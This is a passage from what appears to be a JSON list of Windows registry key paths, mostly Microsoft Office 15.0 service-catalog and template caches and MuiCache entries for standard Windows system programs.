    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2f\\52C64B7E",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\System32\\ie4uinit.exe,-735",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\System32\\ie4uinit.exe,-734",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\AccessibilityCpl.dll,-10",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\System32\\ie4uinit.exe,-737",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\sud.dll,-1",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\wucltux.dll,-1",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Program Files\\Windows Sidebar\\sidebar.exe,-1005",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\FXSRESM.dll,-114",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\XpsRchVw.exe,-102",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\displayswitch.exe,-320",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Program Files\\Common Files\\Microsoft Shared\\Ink\\mip.exe,-291",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\mblctr.exe,-1008",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\NetProjW.dll,-501",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\mstsc.exe,-4000",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\SnippingTool.exe,-15051",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\SoundRecorder.exe,-100",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\SNTSearch.dll,-505",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\System32\\SyncCenter.dll,-3000",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\OobeFldr.dll,-33056",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\Speech\\SpeechUX\\sapi.cpl,-5555",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\dfrgui.exe,-103",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\wdc.dll,-10030",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\msinfo32.exe,-100",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\rstrui.exe,-100",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\miguiresource.dll,-201",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\migwiz\\wet.dll,-591",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\migwiz\\wet.dll,-588",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Program Files\\Common Files\\Microsoft Shared\\Ink\\ShapeCollector.exe,-298",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Program Files\\Common Files\\Microsoft Shared\\Ink\\TipTsf.dll,-80",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Program Files\\Windows Journal\\Journal.exe,-3074",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe,-102",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe,-101",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\comres.dll,-3410",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\mycomput.dll,-300",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\odbcint.dll,-1310",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\miguiresource.dll,-101",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\iscsicpl.dll,-5001",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\MdSched.exe,-4001",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@C:\\Windows\\system32\\wdc.dll,-10021",
